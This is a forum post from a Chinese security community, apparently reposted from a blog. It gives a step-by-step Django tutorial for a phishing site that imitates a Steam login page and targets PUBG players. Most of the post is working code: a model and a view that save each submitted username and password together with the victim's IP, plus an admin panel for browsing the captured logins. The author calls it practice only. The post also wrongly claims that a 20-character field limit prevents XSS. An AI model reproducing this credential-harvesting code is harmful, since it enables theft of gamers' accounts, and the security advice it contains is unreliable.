用户
搜索
  • TA的每日心情

    2018-8-30 11:08
  • 签到天数: 105 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    32

    主题

    209

    帖子

    1458

    魔法币
    收听
    0
    粉丝
    12
    注册时间
    2016-7-25

    春秋文阁积极活跃奖i春秋签约作者i春秋推荐小组幽默灌水王春秋游侠

    发表于 2018-5-10 10:29:28 35854
    本帖最后由 Aedoo 于 2018-5-10 10:31 编辑

    *作者:4dmin$5

    *原文链接:http://www.lsafe.org/?p=190

    为什么要开发钓鱼网站?因为钓鱼网站功能简单,个人感觉比开发博客更适合我这种刚入门的菜鸡来练手了。

    一年前,我刚学php的时候,第一次开发的东西也是钓鱼网站。

    当时最流行的是LOL,现在轮到吃鸡党执政了,那就写个针对吃鸡玩家的鱼站。

    当然,只是拿来练手,本文不会发布相关源码,只做学习交流。

    一·创建项目

    我使用的是python 2.7+ django1.8.15+mysql5.5.3

    django-admin.py startproject fishing

    创建一个名为fishing的项目,得到以下目录即为创建成果

    目录说明:

    • fishing: 项目的容器。
    • manage.py: 一个实用的命令行工具,可让你以各种方式与该 Django 项目进行交互。
    • fishing/init.py: 一个空文件,告诉 Python 该目录是一个 Python 包。
    • fishing/settings.py: 该 Django 项目的设置/配置。
    • fishing/urls.py: 该 Django 项目的 URL 声明; 一份由 Django 驱动的网站"目录"。
    • fishing/wsgi.py: 一个 WSGI 兼容的 Web 服务器的入口,以便运行你的项目。

    二.设置模板

    首先在settings.py中添加模板路径以及静态文件路径,静态文件即js,css,jpg等文件资源

    TEMPLATES = [
            {
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            'DIRS': [BASE_DIR+"/templates"],
            'APP_DIRS': True,
            'OPTIONS': {
            'context_processors': [
            'django.template.context_processors.debug',
            'django.template.context_processors.request',
            'django.contrib.auth.context_processors.auth',
            'django.contrib.messages.context_processors.messages',
                            ],
                    },
            },
    ]

    STATIC_URL = '/static/'
            STATICFILES_DIRS = (
            os.path.join(BASE_DIR, "static"),
    )

    /static/为静态文件存放目录,/templates/为页面存放目录,将刚扒下来的页面分别以html页面和静态文件放置相关目录中。

    编辑steam.html

    在html头部添加上{% load staticfiles %}

    修改所有需要调用静态资源的地方

    将原本调用代码:<link href="css/cart.css" rel="stylesheet" type="text/css" >

    修改为这种格式:<link href="{% static 'css/cart.css'%}" rel="stylesheet" type="text/css" >

    在页面form标签下,添加{% csrf_token %},防御CSRF攻击

    三.建立模型

    首先安装mysql驱动:

     pip install mysqlclient

    在settings.py找到DATABASES选项将其信息修改为你的数据库配置信息

        DATABASES = {
            'default': {
                'ENGINE': 'django.db.backends.mysql',  #mysql.connector.django
                'NAME': 'fishing',
                'USER': 'root',
                'PASSWORD': 'root',
                'HOST':'192.168.163.129',
                'PORT':'3306',
            }
        }

    NAME是数据库名称,以此类推

    如果要使用模型,必须要创建一个app。使用以下命令创建一个 Fish_Info的app

        django-admin.py startapp fish_Info

    目录结构如下:

    修改fish_Info/models.py为:

        from django.db import models
        class fishSql(models.Model):
          username = models.CharField(max_length=20)
          password = models.CharField(max_length=20)
          time = models.CharField(max_length=20)
          ip = models.CharField(max_length=20)
          def __str__(self):
            return self.username

    这个操作是往fish_Info表中添加四个字段,类型都是varchar=20,变量名为字段名。限制长度为20可以有效的防止XSS

    然后再修改settings.py,找到INSTALLED_APPS 在最后一行加上刚刚创建的app名称

        INSTALLED_APPS = (
        'suit',
        'django.contrib.admin',
        'django.contrib.auth',
        'django.contrib.contenttypes',
        'django.contrib.sessions',
        'django.contrib.messages',
        'django.contrib.staticfiles',
        'fish_Info',
        )

    再命令行中运行:

        python manage.py migrate
        python manage.py makemigrations Fish_Info
        python manage.py migrate Fish_Info

    若没出现红字警告,即为创建成功

    四.建立表单

    在fishing/fishing/目录下新建default.py

        #!/use/bin/python
        #-*-coding:utf-8-*-
        import time
        from django.http import HttpResponse
        from django.shortcuts import render
        from django.views.decorators import csrf
        from fish_Info.models import fishSql
        # 接收请求数据
        def login(request):  
            request.encoding='utf-8'
            Userinfo = {}
            if request.POST:
              Userinfo['username'] = request.POST['username']
              Userinfo['password'] = request.POST['password']
              addInfo = fishSql(username=Userinfo['username'],password=Userinfo['password'],time=time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),ip=request.META['REMOTE_ADDR'])
              addInfo.save()
            return render(request,"steam.html")

    此文件的功能是接收页面POST传过来的username和password值,然后存入数据库中。也就是把一和二建立的东西结合起来。

    修改Urls.py为:

        from django.conf.urls import include, url
        from django.contrib import admin
        from . import default
        urlpatterns = [
            url(r'^$', default.login),
        ]

    做完前面这几步前台功能已经实现了

    点击登录后,输入的账号密码会被存入数据库中,方便后台读取

    五.建立后台

    使用django框架建立后台十分方便,只需要一条命令,可以说是一键生成后台了

    在urls.py中加上一句代码:url(r'^admin/', admin.site.urls),

    设置后台地址为admin,当然也可以改成其他的

    访问localhost:8081/admin可看到后台登录页面

    但是你是登不进去的,因为还没有设置管理员账号

    在命令行执行:
    python manage.py createsuperuser

    然后依次设置账号密码就可以登录了

    修改fishing/fish_Info/admin.py

        from django.contrib import admin
        from fish_Info.models import fishSql
        # Register your models here.
        class fishSqlAdmin(admin.ModelAdmin):
          list_display = ('username','password','time','ip',)
        admin.site.register(fishSql,fishSqlAdmin)

    此代码的意义是注册将fishSql表中的数据以username,password,......显示出来,实现一个数据浏览的效果

    django默认的后台太丑了,我推荐django-suit

    pip install django-suit

    在settings.py找到INSTALLED_APPS在第一行添加'suit',

        INSTALLED_APPS = (
            'suit',
            'django.contrib.admin',
            'django.contrib.auth',
            'django.contrib.contenttypes',
            'django.contrib.sessions',
            'django.contrib.messages',
            'django.contrib.staticfiles',
            'fish_Info',
        )

    这个就比默认的后台帅多了,不得不感叹django的扩展性是真的强....

    http://www.imsunshine.cn/
    发表于 2018-5-14 11:14:37
    过来学习了
    使用道具 举报 回复
    发表于 2018-5-15 08:48:12
    学习学习
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册